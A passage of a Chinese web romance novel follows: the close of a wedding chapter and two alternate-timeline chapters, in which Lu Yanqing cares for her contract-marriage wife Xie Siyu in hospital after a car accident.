酒店宴会厅被布置得如梦似幻,巨大的水晶吊灯洒下璀璨光芒,纯白的玫瑰与翠绿的藤蔓交织成浪漫的拱门和路引。 宴会厅里宾客云集,几乎囊括了榕城所有有头有脸的人物,可谓是盛况空前。 长长的宴席摆了一百多桌,现场谈笑声、祝福声此起彼伏,热鬧非凡。 陆言卿看着身旁身着华丽婚纱的妻子,担心繁复的仪式会让她疲惫,临时通知婚礼司仪,精简了流程,只保留了最重要的部分。 在所有人的注视下,她们交换誓言,为彼此戴上象征永恒承诺的婚戒,然后紧紧相拥,在亲友们祝福的掌声和欢呼声中,深深亲吻。 这一刻的幸福,无需多言。 夜幕降临,榕城南郊的夜空被点亮。 这是陆言卿送给谢思虞的“礼物”,绚烂的烟花足足燃放了一个小时。 璀璨的光华照亮了整个城市,不知道艳羡了多少人。 晚上10点。 送走了大部分宾客,陆言卿终究拗不过钟晚意等一群好友的“软磨硬泡”,答应带着妻子一起,乘坐豪华游艇出海,美其名曰“闹洞房”,不玩尽兴不归。 游艇二层一间宽敞舒适的客房里。 陆言卿坐在沙发上,帮谢思虞拉晚礼服的拉链。 她轻柔地拂开妻子柔顺如瀑的长发,露出下面白皙如玉的肌肤。 宴席上饮下的酒意还未完全散去,空气中弥漫着谢思虞身上清雅的橙花香水味,混合着她自身的气息,陆言卿觉得比刚才更醉了。 “卿卿?” 谢思虞穿着的是一件设计简洁的抹胸晚礼服,裙摆及至小腿。 她双手护在胸前,等了一会儿,却迟迟感觉不到拉链被拉上,疑惑地轻声唤道。 陆言卿这才回神,嘴角漾开一抹温柔至极的笑意。 小心翼翼为谢思虞拉好背后的拉链,指尖流连在那光滑的脊背,忍不住俯身,一个轻柔的吻落在了她漂亮的蝴蝶骨上。 “阿虞,今晚……我很开心。” 声音里带着满足的喟叹。 谢思虞心尖一软,侧过身,抬手轻轻抚上陆言卿的脸颊,指腹感受着她肌肤的温度:“我也很开心。卿卿,现在所有人都知道,我是你的妻子了。” 她潋滟的眸中带着薄薄的雾气。 三年前,她们商业联姻。 没有举办婚礼,她嘴上说不介意,可心底到底是遗憾的。 陆言卿眷恋地蹭了蹭妻子温软的掌心,眸光如水般流转。 忽然倾身向前,额头轻轻抵着谢思虞的额头,两人鼻尖几乎相触,温热的呼吸交融在一起。 她的唇若有似无地轻碰着谢思虞的唇瓣,带着一丝孩子气的占有欲,低声呢喃:“我的阿虞这么美……真不想给她们看。” 谢思虞难的见到陆言卿这样一面,被她带着孩子气的话逗笑了,同时也闻到了她身上淡淡的酒香,不禁有些心疼:“喝了不少酒吧?难受吗?要不今晚就别陪她们疯闹了?” 手指轻轻梳理着陆言卿鬓边的碎发。 陆言卿摇摇头,顺势将脑袋枕在谢思虞纤瘦的肩上,声音带着点微醺的慵懒和不容置疑的坚持。 “不行呢……今天是我们的婚礼,她们都是来为我们庆祝的好朋友,不能缺席的。” 谢思虞心疼陆言卿满身疲惫,但作为主人,也不能把一帮好友晾在甲板上不管。 她声音温柔,带着不容商量的意味:“那卿卿就在房间里休息二十分钟,我去招呼大家。” 她几乎是半推半按地把陆言卿安置在沙发上躺下,拿起一旁的手机,利落地设好了二十分钟的闹钟。 “乖乖睡会儿。” 陆言卿抬起手臂,虚虚搭在额头上。 为了保证婚礼万无一失,她提前一周就在跟婚庆公司反复确认细节,心情既紧张又期待,连着几晚都没睡踏实。 此刻放松下来,倦意果然如潮水般涌来。 “嗯……辛苦阿虞了,我眯一会儿就出去。” 她的声音带着浓浓的睡意。 谢思虞拉过一张薄薄的羊绒毯,轻轻盖在陆言卿身上:“嗯,安心睡吧。” 她走到门边,关掉了房间的主照明灯,只留一盏散发着暖黄光晕的夜灯。 手搭在门把上,她动作顿住了。 回头看了看沙发上呼吸渐趋平稳的妻子,她轻轻走回沙发边,拿起手机,取消了刚刚设定的闹钟,并将手机调成了静音模式。 今晚。 就让她来替卿卿挡下所有的热闹吧。 说好的二十分钟。 然而当陆言卿再次睁开眼,窗外已是晨曦微露。 她看了眼腕表上的时间。 六点。 昏暗的光线里,柔软的大床上微微隆起。 她起身走过去,掀开被子一角,里面蜷缩着的,不是她的阿虞还能是谁? 昨晚那件香槟色的抹胸晚礼服被随意地扔在地毯上。 谢思虞整个人裹在蓬松的羽绒被里,而陆言卿能感觉到,被子里……是未着寸缕的温软身体。 陆言卿在沙发缝隙里找到自己的手机,屏幕亮起,显示着好几个未读消息的微信群。 点开一看,眉头不由得越皱越紧。 原来昨晚谢思虞去到甲板后,就被几个好友轮番灌酒,幸亏有温月怡和沈砚清在一旁护着,她才没继续喝下去。 “原来阿虞还是个小骗子。” 陆言卿低声自语,指尖划过屏幕上那些描述昨晚混乱场景的消息。 说好的二十分钟闹钟呢? 结果让她在房间里一觉睡到了天亮。 她再次回到床边,动作极轻地躺下,侧过身,单手支着头,静静凝视着还在熟睡的妻子。 目光细细描摹着她舒展的眉眼、挺翘的鼻梁、还有那微微张着,泛着樱粉色泽的唇瓣。 心尖柔软得不可思议,她情不自禁地俯身,吻了上去。 “唔……” 谢思虞被这温柔的触碰唤醒,睡眼惺忪地睁开眼,映入眼帘的是陆言卿近在咫尺的容颜。 她眉眼弯起,带着初醒的慵懒笑意,手臂从温暖的被窝里伸出,习惯性地环住了陆言卿的腰,将她拉近。 “卿卿什么时候醒的?” 声音带着刚睡醒的沙哑。 陆言卿有一下没一下地轻啄着她的唇瓣,像品尝清晨的露珠:“刚醒没多久。” 她想起群里的消息,语气里带上了一丝心疼的责备,“你的胃能受得住?敢由着她们灌你喝酒?” “不想扫大家的兴嘛。” 谢思虞往陆言卿怀里缩了缩,找了个更舒服的姿势,“而且真没喝几杯,月怡她们护着我呢。” “真的?” 陆言卿挑眉,显然不完全信。 “嗯。” 谢思虞肯定地点头,目光瞥见地上的礼服,解释道,“裙子是月怡不小心把香槟洒上去了。” 陆言卿没再追问,只是收紧了手臂,将谢思虞更深地拥入怀中。 两人就这么静静相拥,躺在随着海浪轻轻晃动的柔软大床上。 窗外,天色渐明,初升的太阳将金色的光芒透过舷窗,温柔地洒进房间。 陆言卿的手悄然滑进温暖的被子里,掌心下是谢思虞温软细腻的肌肤。 她侧过身,几乎整个覆在谢思虞身上,不等她开口,便再次低头,深深地吻住了她的唇。 这个吻绵长而深入,带着缠绵悱恻的温柔和不容抗拒的爱意。 直到谢思虞在她怀里微微喘息,眼波流转,潋滟着水光,还带着未散尽的朦胧和情动。 陆言卿抵着她的额头,鼻尖轻蹭,声音充满爱怜:“阿虞今天一整天的时间,都是我的。” 谢思虞哭笑不得,在陆言卿深情的注视下点点头:“好,都是卿卿的。卿卿想要做什么,我都配合,好不好?” 陆言卿:“想要阿虞爱我。” 一辈子都爱我。 90-100 第91章 if线-如果没有穿越时空1 陆太太还…… 榕城国际机场贵宾室。 陸言卿将资料仔细装进托特包, 目光不经意扫过左手无名指上那枚象征已婚身份的戒指,指尖微微一頓,心头掠过一丝难以言喻的陌生感。 她真的结婚了。 【姐你现在在哪里?謝小……思虞姐她出车祸了, 人在第二人民醫院。】 铃声骤然响起, 是妹妹陸言薇。 陸言卿按下接听键, 电话那头的声音让她瞬间蹙紧了眉头,嗓音沉了下去:“怎么回事?” 【具体情况我也不清楚,我陪生病的室友来醫院吊水, 正好在急诊大楼门口撞见思虞姐被抬下救护车……她躺在担架上, 头上流了好多血。】 【人刚推进手术室。】 “我马上过来。” 陸言卿声音冷静,但语速明显变快了些。 挂断电话, 正好助理魏洁购买咖啡回来,她立刻从托特包里抽出那份关乎重大的文件,递了过去:“魏洁,你替我去W国。合同有任何问题,第一时间联系我。还有……替我向何教授道歉。” 魏洁被突如其来的重任惊得一愣,但职業素养让她迅速镇定下来:“好的陆总,我会把事情办好。” “车钥匙给我。” “啊?哦, 您稍等。” 十分钟后。 陆言卿驱车驶离机场。 车载屏幕上显示着7:55, 窗外阴雨连绵, 天色灰蒙蒙的。 早高峰的车流量大, 等她抵达第二人民醫院急诊大楼,已是整整一个小时后。 手术室在二楼。 陆言卿几乎是跑着来到门口,刚站定, 手术室上方的指示灯“啪”地熄灭。 门被推开,主刀醫生和护士从里面出来。 陆言薇看到姐姐,紧绷的神经松了些:“姐!” 陆言卿对妹妹微微点头, 快步上前,语气是公事公办的沉稳,却又带着一丝不易察觉的紧绷:“医生,请问我……妻子情况如何?” ‘妻子’这个称呼,从她嘴里说出来明显带着生疏。 刘医生摘下口罩,神情还算輕松:“病人头部受到撞击,万幸系了安全带,初步诊断是輕微脑震荡。额头的傷口是被车窗玻璃碎片划破的,已经缝合包扎好了。需要住院观察几天,没有大碍。” “謝謝医生。” 陆言卿道謝的声音平稳。 这时谢思虞被医护人员推了出来。 只见谢思虞双目紧闭,尚未苏醒。身上那件白色连衣裙的领口和胸前,洇开大片刺目的暗红血迹,映衬着她苍白如纸的臉。 额头上缠着厚厚的纱布,更添几分脆弱。 “幸好思虞姐……嫂嫂没事。” 陆言薇心有余悸地拍拍胸口,想起刚才看到谢思虞那满头的血,仍觉后怕。 一位护士将一叠单据递给陆言卿:“您好,是谢思虞的家属吧?请到门诊部办理住院手续,缴费单在最上面面。” “好。” 陆言卿接过单据,迅速扫了一眼上面的病房号,隨即轉向妹妹,声音压低了些,“你嫂嫂出车祸的事,暂时别告诉爸妈。爷爷奶奶那边也先瞒着。” 不必要的担忧和询问,在眼下只会徒增麻烦。 这份协议婚姻的本质,越少人深究越好。 陆言薇虽不解,但还是顺从地点点头:“我知道了。” 她想起还在门诊输液的室友,又探头看了看病房方向, “那……嫂嫂这边谁来照顧?” 她记得昨晚父亲提过,姐姐今天要出国的。 陆言卿捏紧了手中的缴费单,指关节微微泛白:“我会安排家里的阿姨过来照顧她。至于W国……那边,魏洁会处理。这段时间我暂时不出国。” 作为法律上的妻子,在对方遭遇意外需要住院时离开,于情于理都说不过去。 “也好。” 陆言薇松了口气,俏皮地眨眨眼。她知道姐姐工作有多忙,不可能长期留在医院陪床。 “不知道嫂嫂什么时候醒,姐你先在这儿守着吧,我去办住院手续。” 陆言卿没有推辞。 病房里确实不能离人。 她把缴费单递过去的同时,又从钱包里抽出一张银行卡:“用这张。” 陆言薇本想说自己有钱,但轉念一想,姐姐现在是有家室的人了,这钱……确实该姐姐出。 她没再说什么,接过了银行卡。 两个小时后。 在陆言卿的安排下,谢思虞转入了更安静的VIP病房。 她仔细叮嘱匆忙赶来的陳阿姨:“饮食要清淡些,换药和打点滴时麻烦您多费心照看。” 祖父把西郊店的装修和招商全权交给她,最近确实分身乏术。 交代完毕,陆言卿拿起沙发上的托特包准备离开。 刚轉身,就听见病床方向传来几声輕微的咳嗽。 她扭头看去,谢思虞不知何时已经睁开了眼睛,眼神还有些迷茫。 “醒了?” 陆言卿走回床边,见谢思虞下意识地抬手想碰额头的纱布,立刻伸手握住她的手腕,阻止道,“别碰,傷口刚处理好。” 半小时前警方已经联系过她,确认谢思虞是在十字路口被一辆抢绿灯加速的大货车撞上,对方负全责。 谢思虞只觉得脑袋昏沉沉的,像做了一场漫长而模糊的梦,唯一清晰的是车祸瞬间的撞击感。 右侧额角隐隐作痛,视线聚焦后,看到站在床边的陆言卿,她眼中满是意外。 喉咙干涩,声音沙哑:“你……卿卿不是要出国吗?” 她记得陆言卿今天有重要的行程。 “你说呢?” 陆言卿被她那带着点傻气的茫然表情逗得唇角微扬,顺手在床边的椅子上坐下,双手隨意地环抱在胸前,目光平静地落在她这位新婚妻子苍白的臉上。 一秒,两秒。 谢思虞反应过来,眼底浮现一丝歉疚:“只是意外,我没事的,卿卿……去忙你的事吧。” 她不想因为自己耽误陆言卿重要的工作,更不想成为她的负担。 陆言卿的目光扫过不远处整理衣物的陳阿姨,身体微微前倾,单手撑在床沿的护栏上,俯身凑近谢思虞耳边,用只有两人能听到的声音说:“新婚妻子出车祸,我还扔下你出国?传到祖父他们耳朵里,会怎么想?” 她靠得很近,谢思虞发间淡淡的橙花香萦绕鼻尖,让陆言卿心头掠过一丝不易察觉的异样。 她很快直起身,语气带着点公事公办的调侃,“还是说,思虞想明天看到热搜标题——‘陆氏副总抛下重伤娇妻远赴海外,塑料联姻实锤’?” “什么……” 谢思虞一时没反应过来。 “微博热搜标题我都替你想好了:陆氏集团副总陆言卿抛下受伤的新婚妻子出国,商業联姻比塑料还塑料。” “……” 谢思虞的臉颊瞬间染上薄红,难为情地眨了眨眼,下意识地攥紧了盖在身上的被子。 这一动,她才后知后觉发现,自己身上穿的不是早上出门的白裙子,而是一套干净柔软的棉质睡衣睡裤。 陆言卿似乎看穿了她的疑惑,平静地解释:“你原来的裙子沾了不少血,我和陳阿姨帮你换下来了。” 她的语气自然得像描述今天天气很好一样。 可这话落在谢思虞耳中,却像投入平静湖面的石子。 光是想象着陆言卿帮她更换沾染血迹衣物的画面,她的耳根就控制不住地发烫,臉颊也烧了起来。 好一会儿,她才低着头,声音细若蚊呐:“……谢谢卿卿。” 心底除了羞涩,竟还有一丝隐秘的、不该有的悸动。 这么容易脸红? 陆言卿的视线从谢思虞泛红的耳尖和脸颊移开,脑海中却不受控制地闪过帮她换衣服时瞥见的那抹细腻白皙。 她这位协议妻子的身材,确实……很好。 这个念头让她微微蹙眉,迅速收敛了心神。 “集团还有事,我先走了。” 陆言卿看了眼腕表,利落地起身拿起包,不再多留。 走到门口,脚步頓了頓,回头看向病床上的人,声音恢复了以往的温和,“陳阿姨很专业,有事就叫她。” 顿了顿,又补充:“晚上我会过来。” 谢思虞怔了两秒,才輕轻点头,低低应了一声:“嗯。” 理智在清晰地提醒她,她们只是协议结婚,陆言卿没有义务照顧她,更不必特意晚上过来。 可心底那份深埋的不敢言说的喜欢,却像藤蔓一样缠绕上来,让她无法抑制地生出私心。 陈阿姨四十出头,照顧人细致又周到。 谢思虞喝了几口温水,喉咙的干涩缓解了不少。 猛然想起自己没请假就缺席,今天上午公司还有个重要会议。 下意识地环顾四周,目光搜寻着自己的手提包。 一旁的陈阿姨注意到了她的动作,关切地问:“太太是要找手机吗?” “太太?” 这两个字让谢思虞瞬间崩紧了腰背。 好不容易平静下来的心湖,又猛地漾开一圈圈的涟漪,心跳不受控制地加速。 脸颊和耳根肉眼可见地泛起了薄红,她羞赧地眨了眨眼,声音有点急:“陈阿姨,您……您叫我思虞就好。” 陈阿姨却一脸理所当然,甚至带着点老派人的坚持:“可你是大小姐的妻子呀?” 她原本是在老宅伺候陆老太太的,老太太心疼大小姐工作繁忙,才特意把她调来照顾小两口的起居。 在她看来,称呼规矩是顶顶重要的。 “我是卿卿的妻子,可是……” 谢思虞试图解释,她还没习惯这个身份带来的如此直接的宣告。 “那就没有可是。” 陈阿姨固执己见,“规矩不能坏。” “……” 谢思虞对上陈阿姨认真的眼神,败下阵来,只好妥协,声音轻得像羽毛,“那……好吧。麻烦您把手机拿给我。” 接过手机的那一刻,谢思虞指尖都有些发烫。 陆太太? 是啊,她已经是卿卿法律上的妻子了。 这个认知让她心底泛起一丝甜意,虽然她知道这份婚姻的起点并非爱情,更是她“不择手段”抢来的,可这个称呼本身,就足以让她心尖微颤。 解锁屏幕,果然,未接来电和微信消息的提示图标几乎要挤爆了通知栏。 【思虞你去哪儿了?急死人了!】 【还有5分钟开会,你人呢?是不是出事了?看到速回。】 【(叹气)老叶在会上点你名了,说这么重要的会也缺席……】 11:25。 谢思虞瞥见手机右上角的时间,第一季度总结会肯定结束了。 无奈地叹息一声,先给市场部总监发了条消息解释上午缺席的原因,然后才拨通了好友沈硯清的电话。 【姐妹你什么情况啊?玩失踪?】 在陈阿姨的帮助下,谢思虞小心地坐起身,陈阿姨体贴地在她背后垫了两个软枕。 “早上……出了个小车祸。” 谢思虞尽量说得轻松。 【什么!车祸?你人怎么样?伤哪儿了?】 电话那头的声音瞬间拔高,充满焦急。 “别急,我人没事。” 谢思虞连忙安抚,“我及时躲开了,就是轻微脑震荡,额头被玻璃划了个小口子,得在医院观察几天。” 【哪家医院?我马上过来!】 “在二院,真没事,你别特意跑一趟。” 谢思虞不想好友担心,所以没瞒着,耐着性子重复主治医生的话,“病房里有陈阿姨照顾我,很周到。” 【陈阿姨?】 【你老婆安排的?】 电话那端安静了一瞬,才传来沈硯清了然的声音,带着点调侃的意味。 【行吧,那我下班再过去看你。】 傍晚6点。 沈硯清提着个精致的水果篮,找到了二院住院部12楼的VIP病房1203。 推门进去,只见谢思虞正靠坐在床头,手里捧着一本书安静地看着。 旁边的床头柜上,一个透明的玻璃瓶里插着几支明艳的向日葵,点缀着几朵清新的小洋甘菊,给素净的病房添了几分生气。 “头还晕得厉害吗?” 沈硯清把水果篮放在柜子上,目光快速扫过宽敞整洁的病房,还有窗边那位安静守着的阿姨,心里暗叹:有专业人士照顾就是不一样。 谢思虞放下书,对她露出一个温和的笑容:“好多了,别担心。” 虽然医生说是轻伤,但脑袋实实在在撞了一下,隐隐的闷痛和眩晕感还是在所难免。 “这个点,晚饭吃了吗?” “嗯,陈阿姨煮了山药粥,刚吃完不久。” “那就好。” 沈砚清在床边的椅子上坐下,看着谢思虞依旧没什么血色的脸,又瞥了眼她手里的书,忍不住叮嘱,“这两天还是少用脑,多休息。” 接着她简单提了下上午会议的情况和叶总对下季度的指标要求:“你组里业绩超额完成是事实,叶总虽然会上提了你缺席,倒也没深究。” 窗外不知何时飘起了细雨,雨丝淅淅沥沥地打在玻璃上。 谢思虞看了眼窗外渐暗的天色和雨幕:“二院离你租的地方挺远的,又下雨,你先回去吧,别耽误了。” 沈砚清看了眼手机,快八点了。 目光瞟向窗边沙发上的陈阿姨,凑近谢思虞,压低声音,带着点八卦和探究:“晚上就阿姨在这儿陪你?” 潜台词不言而喻。 谢思虞自然听懂了她的弦外之音,脸颊微热,轻声解释:“卿卿说……她稍后会过来。” 沈砚清挑了挑眉,看了眼时间,语气带着点不确定:“这都快八点了,外面雨还不小,她……确定能来?” 春夜的寒意似乎都隨着雨水渗了进来。 “咔哒”一声轻响,病房的门被推开了。 陆言卿的身影出现在门口。 她穿着一条黑色A字长裙,臂弯里随意搭着件浅咖色的风衣,右手拎着托特包。 发丝似乎沾了点室外的湿气,带着一丝风尘仆仆的气息,但神情依旧沉稳。 “大小姐。” 陈阿姨立刻从沙发上站起身,一眼看出陆言卿是直接从公司过来的,估计还没顾上吃饭,便很自然地转身走向病房自带的小厨房。 “卿卿,你来了。” 谢思虞的声音里带着一丝自己都没察觉的轻快和如释重负。 其实她也在等,尤其在好友那句带着质疑的“确定能来”之后,心底那点小小的期盼和忐忑交织着。 此刻看到陆言卿真的出现,嘴角便不由自主地扬了起来,眼眸也亮了几分。 “这位是沈砚清,我的大学同学,也是要好的朋友。” 谢思虞介绍。 沈砚清站起身,朝陆言卿礼貌地点点头:“陆总。” 看这情形,显然不是闲聊的好时机。 沈砚清很识趣地拎起放在椅子上的包包,对谢思虞说:“那你好好休息,我先走了。” “外面雨挺大的。” 陆言卿将风衣放在床尾,温和地开口,“我让司机送沈小姐一程?” “谢谢陆总好意,我开车过来的,没关系。” 沈砚清笑着婉拒。 陆言卿也不强求,微微颔首:“那沈小姐路上注意安全。” 她顿了顿,目光自然地转向谢思虞,然后对沈砚清说,“等思虞出院,身体养好了,再邀请你们几位好朋友到家里来坐坐,吃顿便饭。” 这话一出,沈砚清的眼睛瞬间亮了一下,带着点惊讶和玩味。 她飞快转头看向床上的谢思虞,眉毛挑得老高,嘴角勾起一个意味深长的弧度。 好像在问:你不是说商业联姻吗?我看她很在意你嘛。 “可以,完全没问题。” 沈砚清回答得爽快,脸上的笑容更灿烂了,“到时候再约,思虞你好好养着,我走了~” 说完她冲陆言卿再次点头示意,脚步轻快地离开了病房,留下一个充满八卦遐想的背影。 谢思虞有些难为情,踌躇地捏着被角:“卿卿别介意,砚清她人就这样。” 陆言卿没接话,因为对方是谢思虞的朋友,轮不到她评论。 原本她们领证就比较仓促,只是双方长辈见面吃了顿饭。 尽管她们是协议结婚,往后总要接触彼此的亲朋好友,该有的体面和尊重,她肯定会给谢思虞。 半个小时后。 陆言卿用完晚餐,陈阿姨主要任务是照顾谢思虞,购买的食材也比较绿色健康,晚上炒的菜口味也清淡。 “陈阿姨您先回去休息吧,明早再过来。” 陆言卿说着拨通了司机的电话,上午让陈阿姨过来医院照顾谢思虞,忘记叮嘱她,结果老宅祖父祖母已经知晓了此事。 “好。” 陈阿姨收拾好厨房卫生,拿上帆布包就离开了病房。 因为晚上要在医院陪床,陆言卿让陈阿姨也带了她的衣服,刚从行李箱里拿出睡衣,耳边响起谢思虞很轻且带着犹豫的声音。 “其实……让陈阿姨留下陪我就行,卿卿忙碌了一整天,应该回家好好休息。” 谢思虞内心很是矛盾,她希望陆言卿陪她,可看着对方略显疲惫的侧影,想着她白天在集团忙碌,晚上还要在病房里“照顾”自己,那份心疼就密密实实地涌上来,压过了那点隐秘的期待。 陆言卿蹲在地上,长发随着她蹲下的姿势滑落胸前,她随手将发丝拢到肩后,拿着睡衣站起身,来到床边。 看到谢思虞微蹙着眉头,纠结几乎写在脸上,沉思片刻还是直接询问:“你在纠结什么?” “你身体不舒服住院,身为你的妻子,我留下陪床,这件事让你觉得很……困扰吗?” 谢思虞是被这直白的询问戳中了心事,眼睛蓦地睁圆了,怔怔地看着陆言卿,好一会儿才慌忙摇头:“不是,我……我只是怕你太辛苦。” 陆言卿目光沉静而专注,迎上谢思虞那双清澈却盛满不安的眼眸。 她放柔了声音,像在陈述一个再自然不过的事实:“我不觉得辛苦。” “所以你不用觉得困扰。” 说完便往卫生间走去,刚迈出两步却又停住。 转身看见谢思虞仍蹙着眉头,那副心事重重的模样让陆言卿心头一软。 索性来到床边,弯腰俯身,指尖覆上谢思虞紧拧的眉心,动作轻柔,像抚平一张揉皱的信纸:“陆太太还是不蹙眉头好看。” 随着陆言卿的靠近,山茶花馥郁的清香盈满鼻端,当她指尖触碰到她眉心的瞬间,谢思虞下意识屏住了呼吸。 心跳也变得很吵,咚咚地撞击着胸腔,仿佛有只不安分的小鹿在里头横冲直撞。 第92章 if线-如果没有穿越时空2 把衣服解…… 医院的条件毕竟比不上家里, 陸言卿只是简单冲了个澡,没洗头发,换上了柔软的睡衣睡裤走出来。 謝思虞侧坐在床邊, 右手手背上还留着留置针。 虽然换上了幹净的睡衣, 但车祸和手术的经历, 让她总觉得身上还残留着消毒水和酒精的味道。 原本以为会是陈阿姨留下照顾,现在换成了陸言卿。 謝思虞抿紧了唇,指尖无意识地抠着床单邊缘。 她只是想简单擦一下身体, 这个要求, 对着陸言卿,却比想象中更难开口。 “你不能洗澡。” 陸言卿的声音打破了沉默。 她正把换下来的连衣裙和贴身衣物装进袋子, 放在沙发一角,等明天陈阿姨处理。 手里拿着幹毛巾,輕輕擦拭着被水汽沾湿的发梢。 謝思虞猛地抬头,对上陆言卿看过来的目光,声音有些发紧:“我知道,就是……身上不太舒服,想擦一下。” 说话时她藏在身侧的左手不自觉地攥紧了。 陆言卿没忘记医生的叮嘱, 謝思虞额头有伤不能沾水, 加上輕微的腦震荡, 她怎么可能放心让她独自在卫生间处理? “如果你坚持要。” “那我必须在旁邊帮你。” 谢思虞心里咯噔一下。 这正是她纠结了二十多分钟, 迟迟开不了口的原因。 可身体的黏腻感实在难以忍受,最终,对清爽的渴望壓过了羞窘, 她垂下眼帘,几不可闻地应了一声:“……嗯。” 陆言卿没说什么,转身重新打开行李箱。 她们昨天才领证, 江海澜苑的公寓,也就是婚房还在装修,目前并未同居。 陈阿姨带来的衣服都是从她公寓衣帽间拿的新衣,好在两人尺码相仿。 她拿出一套柔软的睡裙:“穿这个可以吗?” 谢思虞还在努力给自己做心理建设,闻言抬眸,点点头:“可以的。” 五分钟后。 病房的卫生间里,空间不大,弥漫着淡淡的水汽。 陆言卿站在洗手池前,试了试盆里的水温,感觉差不多了才关掉水龙头。 她端着温水走到谢思虞面前:“试试,水温行吗?” 谢思虞伸出没打针的左手,指尖在水里輕轻搅动了一下:“嗯,刚好。” 陆言卿取来两条幹净毛巾浸入温水中,目光扫过谢思虞右手上固定的留置针和胶布,声音放得更柔:“我帮你拧毛巾,你……” 她頓了頓,视線落在谢思虞身上那件宽松的睡衣上,“把衣服解开吧。” 谢思虞深吸一口气,抬起有些发颤的左手去解胸前的纽扣。 不知道是太过紧張,还是右手不便影响了平衡,又或是那小小的纽扣突然变得格外不听话,她指尖微抖,好半天都没能解开第一颗。 陆言卿安靜地蹲在旁邊,没有催促,只是耐心地等着。 直到谢思虞终于放弃似的抬起头,那双清澈的杏眼里混杂着窘迫、无奈和一丝求助的意味,直直地看向她。 陆言卿怎么会看不出她的紧張? 空气仿佛凝滞了几秒。 “我帮你?” 她试探着开口,带着商量的口吻。 谢思虞认命般地闭上了眼睛,浓密的睫毛像蝶翼般轻颤,耳根早已烧得通红。 她几乎是从喉咙里挤出一个微弱的单音:“嗯。” 陆言卿没有犹豫,伸出手,动作稳定而小心地探向那些小小的纽扣。 为了缓解此刻几乎令人窒息的安靜和谢思虞显而易见的紧绷,她随意找了个话题:“你在鑫铭电器工作?” 说话间,第一颗纽扣在她指尖灵巧地松脱。 “嗯。” 谢思虞的声音闷闷的,眼睛依旧紧闭。 “市场部主管?” 陆言卿继续问,指尖移到第二颗、第三颗纽扣。 “嗯。” “想过来陆氏集团吗?” 第四颗纽扣解开。 “……暂时没考虑这个。” 谢思虞的声音更轻了。 一问一答间,五颗纽扣已经被悉数解开。 睡衣前襟微微敞开,露出了里面贴身的米色小衣,细腻的布料勾勒出柔软的弧度。 陆言卿目光下意识地从那抹雪白柔软的弧度上移开,好像被烫到一般。 她站起身帮谢思虞褪下敞开的睡衣。 动作格外轻柔,尤其是袖口经过她右手手背上那碍眼的留置针时,更是小心翼翼,生怕牵扯到分毫。 睡衣终于脱下,两人似乎都暗暗松了口气。 空气里只剩下细微的布料摩擦声和略显急促的呼吸。 陆言卿手里握着还带着谢思虞体温的睡衣,那暖意仿佛顺着指尖一路蔓延,让她心头莫名地一跳。 她垂下眼,视線不经意扫过谢思虞那红得几乎要滴血的耳尖,像熟透的樱桃,无声地诉说着主人的羞窘。 没有再耽误时间。 她重新蹲下,将盆里浸透的毛巾拧幹,递向那个目光闪烁,仿佛要将自己藏起来的“新婚妻子”。 看着她这副全然依赖又极度害羞的模样,陆言卿嘴角不受控制地微微上扬了一个极小的弧度。 心底悄然滑过一丝念头。 她怎么这么可爱? 谢思虞眼睫低垂,根本不敢去看陆言卿。 接过温热的毛巾,仔细地擦拭着脸颊、脖颈、手臂,甚至小心翼翼地擦过小腹。 这些地方,她能完成,动作虽然带着点僵硬,但还算顺利。 后背,成了最大的难题。 她拿着毛巾的手僵在那里,进退两难。 “后背我来吧。” 陆言卿的声音适时响起,带着一种令人安心的温柔。 接过谢思虞手里的毛巾,重新浸湿拧干,自然地绕到她身后。 温热的、带着潮气的毛巾轻轻贴上谢思虞光裸的脊背。 陆言卿的动作很稳,也很温柔,沿着脊柱的線条,轻柔地擦拭。 能直观看到谢思虞蝴蝶骨的轮廓,以及……她比她想象中还要清瘦一些。 “好,好了吗?” 即便隔着一层湿热的毛巾布料,陆言卿柔软的指腹不经意擦过她的肌肤,每一次,谢思虞都能无比清晰地感知到。 那触感像带着细小的电流,每每掠过都让她身体不由自主地绷紧一下。 她知道陆言卿并非刻意,可身体的本能反应却完全不受控制。 心口那擂鼓般的跳动再次清晰起来,怦怦——又快又急,像揣了只不知疲倦、拼命蹦跶的小兔子,要从嗓子眼里跳出来。 这感觉,真真是甜蜜又煎熬的折磨。 “马上就好。” 此刻专注给谢思虞擦拭的陆言卿也并未察觉自己平稳的呼吸,似乎也比平时快了那么一点点。 等谢思虞换好睡裙从卫生间出来,已经是十几分钟后的事情。 她几乎是目不斜视,直奔病床,掀开被子利索地钻了进去。 要不是担心显得太刻意,她真想一把拉起被子,把自己整个腦袋都蒙起来。 陆言卿将谢思虞换下的睡衣也叠好,装进另一个干净的袋子,和之前装她自己衣服的袋子并排放在沙发一角。 看着两个挨在一起的袋子,她心头莫名地动了下。 直到此时此刻,才有了种“结婚了”的真实感。 即使她和谢思虞之间签了协议,她们也是受到法律保护的合法妻妻。 等婚房装修好,她们还会搬到同一个屋檐下。 未来的三年,她们将共享许多个晨昏,朝夕相对。 陆言卿整理好心情,关掉了病房上方明亮的主灯,只留下床头一盏光线柔和的夜灯。 房间瞬间暗了下来,也安靜了许多。 从随身的托特包里拿出笔记本电腦,在沙发前的矮茶几上打开,借着屏幕的光,开始浏览一份招商计划书。 指尖敲击键盘的声音被她刻意放得很轻、很缓,生怕打扰了床上正在休息的谢思虞。 空气里只剩下这细微的“嗒嗒”声,和窗外淅淅沥沥仿佛没有尽头的雨声。 其实,她今晚本不必留在医院陪床的。 可上午看到谢思虞那张苍白虚弱的脸,那句“晚上我会过来”的话,就那么自然而然地,几乎是未经思考地说了出来。 时间悄然流逝。 陆言卿处理完文件,在重要的地方都做了标记,合上电脑前,屏幕右下角的时间显示:深夜11:25。 VIP病房有张供家属休息的小床。 陆言卿起身轻手轻脚地去卫生间。 出来后她的脚步在病床前停頓了几秒。 借着夜灯,仔细看了看床上隆起的身影,确认被子被谢思虞好好地盖到了肩膀,没有滑落,这才放下心来,转身走向窗边那张小床,躺了下去。 窗外,细密的雨丝依旧不知疲倦地敲打着玻璃,发出沙沙的轻响。 或许是真的累了,陆言卿闭上眼睛没多久,呼吸就变得均匀而绵长。 倒是旁边病床上那个“早已熟睡”的身影,在黑暗中悄然睁开了眼睛。 谢思虞小心翼翼地由平躺慢慢侧过身来,目光靜静地投向不远处那张小床的方向。 窗外透进来的微弱光线,勾勒出陆言卿侧卧的朦胧轮廓。 今天发生的一切——从意外的车祸,到手术后的茫然,再到陆言卿出现、留下、照顾她、甚至帮她擦身体。 所有的一切交织在一起,像一场光怪陆离的梦。 很不真实- 谢思虞只住院观察了三天,便强烈要求出院。 